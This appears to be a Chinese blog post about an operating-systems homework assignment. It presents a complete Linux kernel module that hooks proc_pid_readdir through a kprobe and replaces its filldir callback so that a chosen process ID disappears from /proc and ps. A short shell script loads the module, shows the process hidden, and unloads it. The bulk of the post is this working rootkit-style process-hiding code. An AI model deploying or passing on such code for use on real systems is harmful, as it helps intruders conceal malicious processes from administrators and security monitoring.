Linux内核通过inline hook实现隐藏进程

这是我们操作系统的大作业。
原理就是inline hook 那个 proc 文件系统,根目录下的 readdir 的函数。
替换掉第三个参数,filldir。
代码爆短,60来行。
Ubuntu 10.04 测试可用。

#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/fs.h>

int register_kprobe( struct kprobe *kp);

static  struct kprobe kp =  {
    .symbol_name    = "proc_pid_readdir",
}
;

static filldir_t old_filldir;
static  int pid;

module_param(pid,  int, 0744);

static  int filldir( void * __buf,  const  char * name,  int namlen, loff_t offset,
           u64 ino, unsigned  int d_type)
{
    int p;
    sscanf(name, "%d", &p);
    if (p == pid)
        return 0;
    return old_filldir(__buf, name, namlen, offset, ino, d_type);
}



/* kprobe pre_handler: called just before the probed instruction is executed */
static  int handler_pre( struct kprobe *pr,  struct pt_regs *regs)
{
    old_filldir = (filldir_t)regs->cx;
    regs->cx = (typeof(regs->cx))filldir;
    return 0;
}


static  int __init k_init( void)
{
    int ret;

    kp.pre_handler = handler_pre;

    ret = register_kprobe(&kp);
    if (ret < 0) {
        printk(KERN_INFO "register_kprobe failed, returned %d\n", ret);
        return ret;
    }

    printk(KERN_INFO "Planted kprobe at %p; pid %d\n", kp.addr, pid);

    return 0;
}


static  void __exit k_exit( void)
{
    unregister_kprobe(&kp);
    printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr);
}


module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE("GPL");



sleep 1000 &
pid=`jobs -p`
echo 'before hide'
ps aux | grep $pid
insmod k.ko pid=$pid
echo 'after hide'
ps aux | grep $pid
rmmod k.ko
echo 'after unhide'
ps aux | grep $pid

你可能感兴趣的